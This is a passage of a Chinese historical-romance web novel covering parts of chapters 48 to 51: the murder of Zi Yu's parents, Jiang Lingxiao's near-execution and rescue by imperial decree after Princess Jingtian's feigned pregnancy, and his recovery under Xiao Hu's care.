紫玉跳下马,风风火火推门,甩下一个包袱,掏出点心就塞到小虎嘴边:“怕你吃不惯粗茶淡饭,我带了好吃的给你。”
绕过姬家兵的层层监督,必是冒了极大风险,就为了给自己送吃的,小虎眼头一酸,暖泪从心底往外流:“我要收养你们全家。”
紫玉父母哈哈大笑:“只有父母收养孩子的,只要你不嫌弃家穷,我们就有两个女儿,一静一动,美满双全。”
小虎当即磕头,认了爹娘。
窗外不远处的荒草丛里,“唰唰”穿过两个黑衣人,淹没在呼啸的北风。
一路跟紫玉来无影,去时无踪,最终出现在姬府大门口不远处。
黑衣人举弓,对准姬府大门。
“嗖”,一封信随箭插在门上。
信层层转交,递交到姬无心手中。
【城郊荒村石子路过独木桥门口有两棵大槐树姜凌嚣女人在此】
晚上,小虎和紫玉挤一个炕睡觉,紫玉怕冷,小虎把炕烧得烫屁股,紫玉在床上滚来滚去,求小虎别烧了:“我要烤熟了。”
俩人咯咯笑着,忽然“砰”的一声,屋门巨响。
小虎还在问“是不是大风吹开了门”时,紫玉已经连滚带爬下了床,凄惨大叫:“娘!爹!”
外屋,血泊中,紫玉的爹已断气,双手还在紧紧掐着姬家兵的脖子,紫玉娘满手是血抱着兵的大腿,嘶喊:“快走!孩子们快走啊!”
兵抬起刀,“噗嗤”捅在紫玉娘身上,她死死不放手,转头看向两个女儿。
小虎抓起炕洞里的火棍,怼向兵的脸,士兵丢了刀,小虎抢刀捅在兵胸膛,发狠地挖出心肝。
“轰隆轰隆”的脚步声传来,紫玉娘拼劲最后一丝力气打翻油灯,让两个孩子掩蔽在黑暗中,“孩子们,后窗走,别回头!”
说完,她气绝身亡,倒在血泊,眼珠凝滞。
纸糊窗上,映出十几把砍刀的影子,越来越近。
小虎背起昏厥的紫玉,从后窗跳了出去。
“嗖嗖嗖”乱箭追杀而来,小虎为了护紫玉,自己肩头中了一箭,一脚踩空,滚下山坡,头磕在石头上,一动不动。
姬家兵沿着山坡地毯式搜捕,渐渐靠近。
就在离小虎还剩不到十米时,一只鹿不知从哪儿冒出来,嗅了嗅小虎流血的伤口,忽然发了疯一样朝相反的方向奔去。
“妖女在那里,追!”
黑暗中,只看得到一只瘦小的身影慌不择路,姬家兵集体追鹿,彻底被带偏。
地笼里,姬无心提来两个血淋淋的人头。
是衰老的一男一女,死不瞑目,眼中凝固着深切的担忧与期望。
姬无心得意大笑,尖牙恐怖阴森如鬼:“那个妖女如今没了庇护,很快就会被我抓到。到时,我要在你面前,拿刀把她片成一片一片吃下去。”
姜凌嚣猜出,这就是紫玉的父母。
那么,小虎的藏身地被抄了。
他本失神的双眼变得怒目喷火,恨不得当场烧死姬无心:“我会亲手杀了你。”
姬无心:“你在外一切可动用的势力,都被我及时扑灭了。你这只秋后的蚂蚱,顶多还能蹦跶六天。”
六天后,他死了,没有亲人庇护、也无自力更生能力的小虎,迟早要被势力滔天的姬无心抓到,下场可想而知的惨烈。
翌日,阮太医前来,已对这个顽冥不堪的年轻人毫无劝慰,沉默医治。
姜凌嚣突然开口:“我同意竞天的计划。”
49. 尘封的真相
自竞天提出惊天计划,阮太医便早早做了准备。
他从药箱里拿出个成年男子拇指大小的青竹筒,然后走到牢房门外抽烟袋,望风。
一袋烟后,重回牢房。
青竹筒已摆在药箱旁,姜凌嚣别过头,避免与阮太医眼神接触。
阮太医也知趣地垂着眼,把青竹筒塞到药箱深处,临出牢房才开口:
“无论成功与否,我都得告老还乡避祸了,这是我们最后一次见面,你一定要挺过剩下的五天。”
五天后,败,一定死,成,不一定能活。
一切,听天由命。
竞安宫中,竞天强撑着伤腿站在窗边,背对着阮太医。
阮太医把青竹筒放在桌上,作揖告别:“老臣年迈,近来愈发眼花脚重,已向上提请告老还乡,再也不能为公主效力。前路凶险,还请公主多多保重。”
竞天不回头,语气有点怅惘:“是我逼的您不得不告老还乡,请拿上银票,做个盘缠。”
桌上摆着二十万两的银票,是当初他帮姜凌嚣捎给竞天的那张。
阮太医走后,竞天转身,银票还留在桌上。
竞天拿起青竹筒,走向寝殿,放下帘子,躺在床上,腰后垫起高高的被子,缓缓解开衣裳。
阮府,拐过影壁墙就听见一阵并不愉快的嘈杂。
曾经满满当当的柴房空了。
马上就过年,家禽笼却空无一物,地上飘着鸡毛和各种碎屑,到处散发着潦倒。
堂屋廊下太阳当照的地方,摆着一个桌子,阮夫人亲自坐镇,脚下是捆着一只又一只的过年活禽,发出咕咕声。
丫鬟们挽着包袱排队领遣散,低头抽噎着。
阮夫人拉住丫鬟的手,安慰:“俗话说落叶归根,老爷病重得,不然我也舍不得你们呐。”
丫鬟们抹着眼:“昨儿老爷还出去看病,今儿怎么就爬不起来了?”
阮夫人叹气:“人老了,身体就像天气,说变就变,没个准儿。你们都不许哭,不然我心头也难受。来,排队把鸡鸭和银子领了,回家好过年。”
遣散完一大家子,阮夫人回到卧房,阮宁曼已经打好了十几个大大小小的包袱,摆了一床一地。
阮宁曼走了两步,姿势笨重,鞋底敲地声音有点奇怪的沉闷,“怎么样,看得出来吗?”
夫人瞅了瞅:“像个跛子,深一脚浅一脚的。”
阮宁曼大笑,抠出鞋里的金鞋垫:
“兵荒马乱的年月,就算遇到强盗,谁能想到家当藏鞋底里,说不定看我一个老头跛脚,还要倒找我钱。赶明儿一走,京城里那堆烂事就跟咱们无关了。”
“我们老爷不在!病了!没办法见客了!”窗外传来门房赶客的声音,来者却不管不顾往里冲。
阮宁曼一下跳在床上,盖上被子躺下装病。
夫人忙把包袱塞进柜子里,床底下。
“咣当”一声山响,门撞开,小虎跑进来,一把将后背上的紫玉甩在床上,砸的阮宁曼“嗷”的一声坐直身子。
阮宁曼看到小虎,十分惊讶:“哎,你怎么来了?”
枕无忧客栈和沈府都有重兵把守,俩人没处去,小虎只知道一个阮太医,不管不顾就投奔而来。
夫人忙把门房支出去,狐疑:“她是谁?”
阮宁曼下床:“这就是姜少东家的,的——”
愣是想不出怎么指代小虎跟姜凌嚣的关系,主仆不是主仆,夫妻不是夫妻。
“的姘头。”小虎摆正昏迷的紫玉,“快点抢救她,她受了惊吓,本来醒过一次了的。”
阮宁曼赶紧开抽屉找针灸:“惊吓好治。”
小虎话还没完:“我背她逃跑,又不小心把她摔沟里了,再也没醒来。”
阮宁曼倒吸一口冷气,收起针:“那得换个治疗法子了。”
一副药下去,紫玉醒了,小虎却疼的要昏过去。
她中了箭,又多处摔伤,这次完全不能自愈。靠着一腔求生的本能,支撑到了安全的地方,才敢软弱。
阮宁曼又忙替小虎上药。
上了药杀的肉疼,小虎啃住桌子角,啃出排坑子,发出杀猪声。
阮宁曼:“你这上药就嫌疼,你家那个被揭皮都没吭一声······”
他猛地咬住舌头,自知说秃噜嘴了。
万一这个天不怕地不怕的女子知道了,还不愣头愣脑劫狱,落个自投罗网,姜凌嚣受的罪,全白费。
小虎警觉:“谁被揭皮?”
“一种形容。”阮宁曼搪塞。
小虎穷追不舍:“你知道姜凌嚣现在在哪儿吗?”
“我哪儿知道!我病了好多天,正准备告老还乡呢。”阮宁曼闪烁躲避。
随着入世愈久,小虎心眼子越来越多,不大好骗:“可你说话中气十足的,压根没病的样子!”
她眼睛透彻的跟常人不一样,似乎能把人看穿,阮宁曼急切中抓起床头的一个又大又红的苹果,递给小虎:“你咬。”
“我不饿。”
“别管,你咬。”
“我不爱吃苹果。”
“别在意这些,咬!大大的咬!”
小虎推让不过,啃了一大口,烂核里有咬断的半条蛆在蛄蛹。
阮宁曼满意地点点头:“我现在就跟这个苹果似的,外面看着好,病的是里面,所以你看不出来。”
“……”
可算躲过了关于姜凌嚣下落的追问。
一夜过后,出城马车来了,不等人,阮宁曼和夫人留下点银子给徒弟,让她照顾好俩姑娘,郑重叮嘱:
“大年初一去沈府,通知沈丘染亲自来接她俩,不可假他人之手。切记,只有刚正不阿的沈将军才可靠。”
肉·体折磨,姜凌嚣都扛了过来,甚至有越折磨,对抗意识愈发顽劣的迹象。
今日除夕,明日就斩首了,姬无心不想就此便宜了他。
既然沈氏父子不睦,就利用这个机会,杀人诛心。
以关怀朝廷官员家属的美名,姬无心派人通知沈府,姜凌嚣斩首前,沈万湖可以去跟儿子告别。
本来三儿子还姓沈的时候,沈万湖就选择献祭了他,换取了一家的前程。做老子的,不是不心虚。
后来,三儿子姓了姜,性情大变,完全不把老子放在眼里,做老子的更加不爽。
尤其现在,因为他,搞得沈家和姬家结了血仇,沈家今后在朝廷必将遭到排挤,沈万湖简直恨死了姜凌嚣。
明明是不够理直气壮去见姜凌嚣,沈万湖却一副大义灭亲的架势:
“王子犯法庶民同罪,我身为朝廷官员,要以身作则,行为世范,坚决与罪犯切割,以正我家族门风!”
受了廷仗,被迫趴床养疴四天的沈丘染听闻,捶胸顿足:
“沈万湖,三哥就剩最后一天就要斩首了,你要不去和他告别,给我带话回来,我一定亲手砸烂沈家祠堂,与你决裂!”
五儿子可是将军,立过战功的,沈家目前唯一有出息的,还是个敢想敢干、说到做到的人,说不认爹,只怕真能做到。
于不得不中,沈万湖来到了地笼,站在了姜凌嚣面前。
地笼散发着难闻的气味,养尊处优惯了的沈万湖用手帕捂住鼻子,高高在上:“你还有什么话,赶紧说吧。”
亲儿子还吊在架子上绑着,浑身是伤,做父亲的不闻不问,还嫌弃厌恶,姜凌嚣看得心寒,冷笑:“没有。”
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>“你对你五弟也没话?明天你可就,”
沈万湖虽顿了顿,还是说出了一般人会在将死人面前避讳的“杀头了。”
姜凌嚣:“我对沈大人,倒有几句话。”
沈万湖不正眼瞧人,一副并不打算听的样子。
姜凌嚣却不给他逃避的机会,单刀直入:“为何都是你的儿子,你却区别对待我?”
火把在沈万湖旁边,照的他表情一览无遗,而姜凌嚣那侧却昏暗不清,一明一暗,仿佛受审的是父亲。
看不见,猜不透,令被审视的人恐惧,尤其是被个阶下囚审视,完全的权力颠倒。
沈万湖感到强烈的冒犯,一时激动难耐:“好,反正你也要死了,告诉你也无妨!”
虽然沈万湖叙述满是春秋手法,移花接木,但姜凌嚣聪敏过人,抽丝剥茧还原出了真相——
当年,姜凌嚣的娘姜溯仙跟着母亲进京开药店,沈万湖前去抓药,一来二去,两人情投意合,私定终身,溯仙有孕。
木已成舟,沈万湖才告诉溯仙,他并非未婚,有家室,且她只能做个姨太太。
溯仙自知受骗,但因为孩子,也入了沈家门,进门才又知道,自己连二房也不算,是个三姨太。
生下沈凌嚣,溯仙杜绝与沈万湖行夫妻之礼,也不甘圈在深宅,回到药房忙碌。
几房内斗,先攻击最不合群的溯仙,诬赖她有野男人才在家待不住,产下的儿子不是沈万湖的。
谣言四起,溯仙抑郁生病,一直服药,沈凌嚣才不到五岁,她便撒手人寰。
溯仙去世前,沈凌嚣早已有了记忆,从没听到过他娘说过沈万湖一句不是。
那么多年,他以为父母曾经恩爱,所以大太太看在沈万湖的面子上,在他母亲生病时,一碗药一碗药亲自煎了送来。
现在再细琢磨,他母亲就是喝了那些药,身体才一点点变差的。
恐怕真相是——药有问题,溯仙是沈万湖和几房太太合谋害死的。
沈府,是个吃人的地狱!
而他,过去的十几年里,还在努力地寻求父亲的认同,太太们的接纳。
说罢往事,沈万湖叹气,仿佛忍辱负重了多年:“所以,你很可能不是我的孩子,我却也让你姓了沈,在我庇护下过了许多年享福日子。”
姜凌嚣恨透了对面的人,怒斥:“你虚伪,懦弱,狭隘,自私透顶!不配得到我母亲的爱,不配得到任何友善情感。围绕你余生的,只有鄙夷,唾弃,仇恨。”
沈万湖被骂的一愣一愣的,但故作大方:“都快死了,还嘴硬,我不跟你计较。哼,你倒是假仗义,为个女人顶罪。算了,明日生死一别,我们也不再是父子,懒得说你。”
火把上的桐油掉落,火焰窜高,照亮了黑暗处姜凌嚣的脸。
他的脸被鞭子抽烂了,说话时伤口漏风、滴血,吐出的每个字听起来都格外掷地有声:“我出狱后,定拿你的命祭奠姜溯仙冤魂。”
“大逆不道!天方夜谭!你明天就斩首了,神仙也救不了你。要不是我儿子逼我来,我才不会到这个鬼地方!”
沈万湖一甩袖子,负气出了地笼。
夜晚,除夕到,狱卒变得格外和善,给姜凌嚣送来了丰盛的断头饭,还烫了壶酒。
生怕他明天死后,亡魂乱找,人,报仇。
天亮了,该去法场行刑了,地笼被一层层打开,狱卒前来提人,满桌饭菜,一口没动。
狱卒都不忍心了:“姜氏,不能做个饿死鬼啊,虽然饭菜冷了,你好歹吃一口吧。”
姜凌嚣起身,身上血色囚衣被他理得笔直,沾血乱发也被他捋顺。
他唇角轻牵,脸上浮出不驯:“留着给真正该死的人吃吧。”
50. 新晋驸马
父母被杀后,紫玉受了重大刺激,不再说话,精神也有点失常。
这晚,她摸到身上盖着的被子针脚不在一条直线上,突然爬起来把整条被子拆了,连夜重新缝了被子。
有时,她坐在门口整晚不停磨刀。
阮府门房听见了十分害怕,每天做得了饭,放到房门口就跑,不敢靠近。
好在小虎就不算个正常人,不觉得紫玉吓人,还纵容发疯。
紫玉拆被子,她递剪刀;紫玉把菜刀磨成了尖刃,她学张大嘴拿刀剔牙。
就是不小心把牙花子捅烂了,直喷血,小虎去找门房找止血药,一嘴血把门房活活吓晕了,导致没人做饭。
她接过做饭大任,亲自掌勺,“咣咣”乱剁大白菜,连根都剁进锅里。
紫玉半疯半傻的,也不嫌牙碜,带泥根照样吃。
除夕中午,太阳底下晒着,紫玉抬头看着又在活炖白菜根的小虎,忽然一阵清醒,终于开口:“姜凌嚣明日就斩首了。”
按照紫玉给的地址,小虎找到郊外一家客栈,跟耿正等人会合。
为躲避姬家兵追捕,他们乔装藏身于此。
虽是过年,客栈还是住着不少居无定所的江湖人士,不打烊。掌柜的在堂厅摆了供桌,铺上红布,准备供财神。
小虎偷了供桌上的红布作披风,跳上院中一棵树,拔刀向天,鼓动姜凌嚣手下勇劫法场。
她慷慨激昂,树底下的手下却不跟着响应,一个个的无动于衷,抱臂看戏。
小虎急眼,指着这群贪生怕死的饭桶:“姜凌嚣不止养着你们,还月月往你们家寄银子,养着你们一家老小!他明日要被砍头,你们就干瞪眼?做人,不能无情无义!”
小炸药拖着一条冻猪腿路过,耿正踢了他一脚:“去,你派上用场了。”
死鱼眼倚着小虎蹲着的树干下,懒洋洋揪麻袋上粘的刺。
小虎低头看到死鱼眼,挥臂鼓动:“你个狗登,东家就要死了,你还在乎一个麻袋,麻袋比你东家的命还重要?跟我一起喊,东家蒙冤,勇劫法场!”
手下嗤笑着去看耿正,耿正眼神示意配合,他们才不情不愿开口,声音稀稀拉拉:“救东家,救东家。”
小虎鼓劲:“大点声!喊勇劫法场!”
“救东家!救东家!”
吓的客栈掌柜赶紧锁了大门,捂紧耳朵:“造了什么孽,摊上这些活土匪。”
小虎振臂高呼:“就是这样,声量要大······”
“咣”,背后一猪腿偷袭,小虎直勾勾掉下树,正好落在死鱼眼张着的麻袋里。
死鱼眼提着一麻袋小虎上楼,关进小黑屋。
手下哈哈笑:“可叫她消停会儿吧,劫狱生怕别人听不见。”
小炸药跳下树,耿正讥讽:“背后下手的龌龊事,还是你干得好。”
这是骂他曾朝姬有德出卖小虎,小炸药不敢吭声,只埋头配出强力炸药,灌进丈高的竹竿,贴上大峪国的旗子。
屋内,手下们围着耿正,老头沉稳布局明日劫法场的埋伏,众人摩拳擦掌,磨刀霍霍。
次日,大年初一,午时前一刻。
行刑场外,乔装后的沈丘染和几个亲兵被姬无心埋伏的人识破,迅速围困,两队人马剑拔弩张,随时开打。
行刑场上,寒风烈烈,旗帜飘扬,皇家精兵持刀剑对准看客,戒备森严。
姬无心坐在监斩官的位子上,监斩官卑躬屈膝站在一旁。
围着行刑台,挤满了形形色色的看客,耿正戴着羊皮帽遮脸,混在其中。
他眺望行刑台,眼神高度紧张,手摸向后背的大背篓,准备随时动手。
断头台边,姜凌嚣手脚戴着镣铐,高声承认杀人,但不承认杀错人,坚决不跪:“要死,站着死。杀姬有德,乃为民除害,九死不悔。”
“我会挖出你的髌骨,让战功赫赫的姬有德永远踩在脚下。”姬无心藐视死囚,摆动食指下令。
午时未到,按照法律,不得提前斩首,但姬无心权倾朝野,横行霸道,监斩官不敢不从,拿起斩令牌要扔。
耿正等人集体摸向隐藏在身的凶器。
“慢——”
姬无心突然拦住扔斩令牌的监斩官,起身,离开监斩台,直直走向新旗杆下。
耿正等人全部一脸震惊。
行刑台上,有两根竹旗杆,一样高,不仔细看,并无端倪,但如果仔细看,是一新一旧,新旗杆上面有截引线。
姬无心恰恰站到了新旗杆下,他抬头仰望天空,又狼眼如炬地巡视看客,散发着高度警惕、狡猾的气息。
是引线被发现了?
就在耿正要提前下令时,姬无心朝随从挥手:“给我把椅子搬过来,这个位置可以让百姓看清我是怎样将仇人人头踩在脚下的。”
虚惊一场,旗杆里的乾坤没被发现。
耿正头上出了冷汗,抬眼间,斩令牌却已离开监斩官手指,在空中飞旋,“啪”地落在地上。
姜凌嚣被除了沉重的镣铐,刽子手以酒喷刀,刀扬半空,闪着凛凛寒光。
看客们紧张地后退,生怕溅到一身血。
耿正拉起火箭,对准行刑台上的大峪国旗,手下们抽出砍刀,预备爆炸过后,趁乱抢人!
千钧一发之际,宫中有人举圣旨策马而来,大喊:“刀下留人!”
姬无心起身:“一个草民,宫里能有谁保他?苟同他人假传圣旨,罪加一等,给我先杀了再说!”
刽子手再次举刀,被冲上断头台的沈丘染一剑砍伤,举剑护住姜凌嚣:“谁敢抗旨,本将军必将先斩后奏!”
姬无心拔了剑,不止要杀姜凌嚣,还要趁机结果了沈丘染:“你自己送上门的,我正愁找不到收拾你的正当理由。”
太监跳下马,边跑边宣旨:“皇上钦定姜凌嚣为竞天公主新晋驸马,不得枉杀!”
姬无心,沈丘染,台上台下所有人,都露出震愕的表情。
“这怎么可能?”
“刚才还是阶下囚,怎么突变驸马了?”
姜凌嚣歪嘴一笑,继而放肆大笑,笑声震荡在猎猎寒风中,嚣张狂放。
一个时辰前,太后派了凤辇和贴身太监曹英来接竞天去东宫过年。
不巧,竞天正在竞安宫干呕不止,曹英连忙召见太医。
太医刚把到竞天脉,就惊地瞪大双眼,以为诊断有误,忙调整手势重新把脉,忽然手抖起来。
曹英察觉不对劲:“马太医,公主是什么症候?”
马太医竟出了一脑门子汗,拿袖子不停擦着,支支吾吾:“曹公公,卑职资历不够深,不好妄断,还是宣资深太医们来诊吧。”
曹英倒吸一口凉气:“什么病这样难诊?”
任由曹英追问,马太医就只唯唯诺诺,不肯决断。
床帘内,竞天心里的石头落地,嘴角扯起一丝诡笑。
很快,当值太医们全部召进竞安宫,无论资历深浅,表情、反应跟马太医如出一辙。
曹英自知大事不妙,忙奔回东宫,禀告太后。
太后亲自前来,支走闲杂人等,只留太医,威严四方:“有什么病直说,别叫我问第二遍。”
太医跪了一地,交头接耳,窃窃私语
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曹英打断:“各位大人,大过节的,别叫太后心里不痛快,赶紧把公主病情快快回禀太后。魏大人,您老资历深,带个头吧。”
竞天也不干呕了,撩起床帘,走了出来,“你们但说无妨。”
“公主······”魏太医磕下去,心一横:“公主是喜脉。”
圈椅扶手上,太后的手紧紧攥住,才没让自己猛地起身,指关节都白了。
整个竞安宫,鸦雀无声。
太后不知是问太医还是问竞天:“多久了?”
竞天不语,只好魏太医代答:“脉象十分微弱,应该······就这几天的事。”
身孕就几天,压根不可能干呕。
太后打量竞天,竞天一副暗自得意的样子,太后又扫了一眼跪着的太医们,明察秋毫:“阮宁曼呢?”
魏太医:“他得了急症,下不了床了,皇帝已准他告老还乡去了。”
“跑得倒快。”太后冷哼一声。
驱走太医,只留母女二人,太后开门见山:“那个死刑犯的?”
竞天愣了一下,没想到母后眼光毒辣,竟猜得如此精准,她也不怵:“他叫姜凌嚣。”
太后冷笑断定:“阮宁曼是你们的掮客。”
毫无秘密可藏,竞天无话可说。
太后闭上眼,深深吸了口气,一字一句:“为了救他,搭上你,值得吗?他配吗!”
“跟嫁给姬有才或者拜基蛮子比,又值又配。”
“你有没有想过,你可以不嫁人。”太后表情落寞,声音消沉。
竞天咬牙切齿:“和亲队和姬无心逼得那样紧,迫在眉睫,还有选择的余地吗?我只能自己寻找机会!”
太后迟迟抬起眼皮,略显疲惫,缓缓走向殿外,停在门口时转身,语气和缓:“还有不到一个时辰问斩,你要救人,得快点了。”
想不到,母后这么快就站到了自己这边,竞天怔了怔,喉头一哽,跑出竞安宫。
各宫张灯结彩,处处沉浸在过年的气氛里,竞天气喘吁吁穿梭在其中,七拐八拐,扑进镇和殿。
殿内歌舞升平,朱帝笑得正美,竞天冒冒失失闯进来,驱赶舞女:“退下!”
朱帝变脸:“大过年的,别叫朕扇你。”
竞天扑通下跪:“皇上,请释放姜凌嚣,他是我孩子的父亲!”
“嗷,嗷!”朱帝发出怪叫,问陶公公:“你听见她说什么了吗?”
陶公公眼神复杂,俯首不语。
朱帝蹲在竞天身边,揪长自己一只耳朵:“你再说一遍。”
竞天挺直腰背,一字一句:“皇上,请释放姜凌嚣,他是我孩子的父亲!”
朱帝伸出一根手指,捅了竞天胳膊一下,提醒:“你未婚,还记得吗?”
“但我现在有孕了,十几个太医确诊过了。”
朱帝瞅瞅竞天平坦的肚子,摇摇头:“你肚子看着并没货,脑子也没货?你又没出过宫,他关在牢里,你在梦里怀上的?”
竞天不可能出卖阮太医,面不改色心不跳撒谎:“年前查账,我们在玄明殿。”
朱帝愣了半天,似乎在想象这震撼故事的疯狂画面,“……你们就在殿里干?跟配猫配狗似的?两个浪货,不会在朕的龙椅上?!”
“不是,在龙椅后面的帘子里。”
是在垂帘听政的太后椅子上,亵渎的是制约着自己的太后,朱帝幸灾乐祸的哈哈大笑,很快收住笑,严肃:“我为你羞耻。”
不过只要能跟姬无心作对,朱帝就乐意,迫不及待地签发了圣旨,释放姜凌嚣,晋升竞天驸马。
51. 唱反调
枕无忧客栈,掌柜的远远瞧见耿正策马而来,赶紧叫伙计上门板打烊。
“快快快,那帮罪犯又回来了,赶紧拦住!”
耿正下马,一脚踹开门,伙计抱着门板倒在地上。
“还住原先的客房。”
死鱼眼和招风耳抬着担架匆匆跑来,渍着血迹的被子从头蒙到脚,连脸也遮住了。
掌柜的掀开被子,瞅了一眼,吓的连连阻挠:“你们不能抬个死人住进来。”
沈丘染随后冲进门,高举圣旨:“看清了,姜少东家现在不是罪犯,是驸马!”
将姜凌嚣安置在床,白眉将闲杂人等驱逐出门。
小虎义不容辞:“我得留下。”
床帘垂着,传出姜凌嚣嘶哑的拒绝:“不可以。”
小虎:“为什么!”
白眉老太提着开水壶烫刀具:“他浑身是伤,不想让你害怕,不想让你担心。”
那更得看看了,小虎撩开床帘,去掀被子。
姜凌嚣背对着她,与她拉扯几番,因他手腕受伤无力,还是被她拉开了被子。
褴褛囚衣下,皮肉稀碎。
曾经清俊端方的脸庞,现而今鞭痕累累,还有老鼠蝙蝠咬噬的伤口,几乎算毁容。
小虎倒吸一口凉气,姜凌嚣怕她心疼自己,刚要劝她自己没事,她却:“你变丑了!”
“……”
姜凌嚣自卑了一下。
“没有人样了!”
“……”
“脸上裂的到处是口子,分不清哪儿是嘴,怎么亲?我可下不去嘴!”
姜凌嚣的自卑变烈,浑身颤抖着,牵扯到四肢百骸的万千伤口,他不由发出忍痛声。
白眉老太上前掀起被子,看着姜凌嚣胳膊上缠的纱布,叹气:“姬无心撕纱布折磨你,可我医治你也得撕掉纱布,一样的折磨。”
姜凌嚣牙关紧闭片刻,“动手吧。”
空气中弥漫起苦药香,一把又一把烫好的刀具,流转于白眉老太手中。
床沿边,一圈又一圈的血纱布掉落在地。
一会儿,又有剪碎的腐肉不停落在纱布上。
治疗比行刑还痛,姜凌嚣昏死,意识朦胧,耳畔传来不真切的杳冥回音:“你乖,我在呢。”
是小虎趴在他耳边安慰的声音。
嗯,听你的,我会乖。
他心底回得真切,但双眼紧闭的面目却无动于衷。
脸上涂了厚厚一层白色药膏,姜凌嚣一动不动躺着,仿佛是座白玉刻的雕像。
白眉老太从床沿起身,捶腰擦汗,把手里的刷子和药碗递给小虎:“外人不方便给他涂的地方,你来。”说罢出门。
小虎蘸了药膏,轻轻刷在姜凌嚣身上,触目惊心的伤口让她心疼的大骂姬无心。
姜凌嚣被迫从迷乱的痛梦中吵醒,使劲抬了几次眼皮,勉强睁开条隙缝。
刷子游走,她突然哈哈大笑:“我这样刷你,好像给烤全羊刷酱料。”
哼,她的同情,真是转瞬即逝……他睁开了双眼。
已经刷到了大腿根,她揪起来检查,笑得尤为没心没肺:“那老畜生怎么没剥了你XX?我要是他,我就剥!”
“······”
姜凌嚣气的发笑,浑身伤口扯得生疼,但她让他有一种活着的畅快感,疼也愿意。
他伸手,轻轻握住她的腰:“别抹了,让我好好看看你。”
“你醒啦?”
再不醒,她都快不把他当人了。
“嗯”,他哼了一声。
小虎俯身抱他,将他脑袋贴在她胸口。
他仿佛瞬间回到了一年前的今天,坠崖后遇见她的那日。
也是自己生日,也是劫后余生。
生日和忌日绞缠,似乎就是为了让他历劫,但总能死里逃生,醒来,都是在她的怀里。
他抬起清眸,望着她。
她眼中比初成人时失了几份天真,多了丝外人不易察觉的哀愁,脸颊也清减了几分,沉淀出些许稳重的气质。
牵手共渡人间一年,她变化竟这样大,都因跟着自己,害她吃了不少苦。
他握住她的手,含情脉脉承诺:“等我报完仇,就与你远离是非,云游山水。”
“只有我们两个?”
“只有我们两个。”
卑微在心底生根,竟然让他变得小心翼翼:“我容貌毁了,你嫌弃我吗?”
“嗯。”她毫不遮掩。
“……”他心底“哇”的一声,哭声。
“不过白眉说按时敷她配的药膏可以恢复。”
他立刻认真保证:“我会老老实实敷药。”
“你自己有数,那我就不装了。等你再度美貌,我再爱你。”
她一把将他放回枕头,动作有点粗鲁。
他吃痛,无语凝噎,半天,挤出一句遗言似的:“能不能把我当个人。”
“不好看时,就别挑战我耐心了。”
他心里咕嘟咕嘟冒着委屈,不美不敢言。
楼下传来一阵鞭炮声,人声鼎沸,小虎丢下他去看热闹。
客栈门口挂了块崭新的牌匾,挂着朵大红绸花,上书:【恭贺驸马下榻本客栈】
住客和路人挨挨挤挤,指指点点,议论纷纷。
小虎认不得几个字,但听明白了,驸马也住到了这个客栈,就是公主的夫婿。
她觉得新鲜好玩,问掌柜的:“驸马住这儿,有什么不一样的?”
就是她天天和驸马出双入对,明铺暗盖,还这样问,在外人眼里摆明了是打趣。
既然当事人装聋作哑,掌柜的也就配合,恭敬地指向墙上的食牌。
有几块新制的食牌,上书大字:【驸马套餐】
菜名认不全,小虎索性全点了一遍,兴冲冲跑回屋,晃醒好不容易能睡个踏实觉的姜凌嚣。
“你知道朝廷里哪个大人物住到了这客栈了吗?”
朝廷的大人物能住客栈?
姜凌嚣疑惑:“谁?”
“驸马!”
姜凌嚣瞪大双眼,口舌讷住。
小虎兴奋地收拾着桌面,背对着他:“咱俩一起过生日,我给你点了驸马爱吃的东西,瞧瞧都是些什么稀奇玩意儿。”
姜凌嚣不顾全身伤口撕扯,一下子坐了起来,盯紧她的背影:“你都知道些什么?”
“掌柜的靠驸马噱头搞了个套餐,趁机敛钱呢。听说宫里好多公主呢,是哪个公主要喜结良缘呢?”
小虎转身。
脸上的厚厚一层药膏,遮挡住了姜凌嚣惴惴不安的表情,他望着她的眸光也断成了不规则的一截,一截,零零碎碎的心虚。
“为什么这样看着我?”她歪头,冲他一笑。
他猜不透,她是知道了内情准备发疯,还是真不知情,天然的高兴。
紧张,忐忑,使他的喉结一耸一耸的,小虎飞速亲了下他喉结,跑到门口大喊:“瞧给你馋的。小二,快点送餐上来!”
“来喽!”门开,小二颠颠跑进来,叮铃咣铛摆满桌子“驸马套餐”。
小虎兴冲冲跑过去一看,失望大叫:“我还以为驸马吃的能有什么稀奇,竟和咱俩常吃的那几样东西一模一样!”
姜凌嚣呼吸一窒,自己的驸马身份,还能瞒多久?……
从客栈出来没多久,沈丘染被阮家门房拦住,着急忙慌前往阮府。
紫玉坐在廊下,精神不振
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,脸颊苍白,从来一丝不苟的头发,略有凌乱。
沈丘染冲过去,抚平她头发,握住她双手:“走,我们回家。”
自父母被杀害,一直不肯落泪的紫玉,看到沈丘染,泪珠不由自主地滚落成河,“我没家了。”
沈丘染硬朗的眉宇泛动着心疼,他伸手拭走紫玉的泪,声音格外轻柔:“今后有我的地方,你就有家。”
他像抱即将破碎的瓷器一样,小心翼翼抱起紫玉,放到马车上,自己守卫到轿厢外驾车,在紫玉看不到的时候,抹了把眼睛。
回到沈府,沈丘染又抱着紫玉下车。
紫玉有气无力:“少爷抱着丫鬟成何体统,放我下来。”
沈丘染反而抱更紧了,“管他们呢,我们活我们的。”
堂屋内,沈戚风在窗边看了看天:“爹,这个时辰,老三该杀完头了。”
沈万湖用茶水漱漱口,呸在地上:“大过年的,少说些晦气!你且坐下,我有喜事与你商量。”
过了年,沈丘染就到了娶亲的年纪,沈万湖想推举他做驸马,带领沈家成为皇亲国戚。
陈家倒了,姬家死了正当年的姬有德,朝中适龄官员数来数去,有资历、有品格、有样貌的,当属沈丘染。
沈万湖捻须筹谋:“哪怕做不成皇帝亲姐姐竞天的驸马,若善也不差,听说最近她十分受太后抬举。”
沈戚风拍腿惋惜:“唉,我就是娶亲早了那么一两年,要不我也高低做个驸马!”
屋外,传来刘倩的尖酸刻薄:“哟,少爷抱着丫鬟宅门儿里转,毫不避讳人,真叫人替你们难为情!”
沈丘染声音洪亮:“二嫂,既然替我害臊,就帮我准备红盖头遮脸去吧!”
屋内,沈万湖闻声色变,起身跑出门。
院子里,站了一地人,围着沈丘染看热闹。
紫玉红脸挣扎:“放我下来。”
沈丘染不仅不撒手,还抱着她转圈展示给各人看个清楚,高声:“爹也在呢,太好了。我宣布个好消息——沈丘染要明媒正娶林紫玉!”
“放屁!父母之命媒妁之言,她一个下贱丫鬟,怎能高攀战功赫赫的将军?门不当,户不对,你敢!”沈万湖气的东倒西歪。
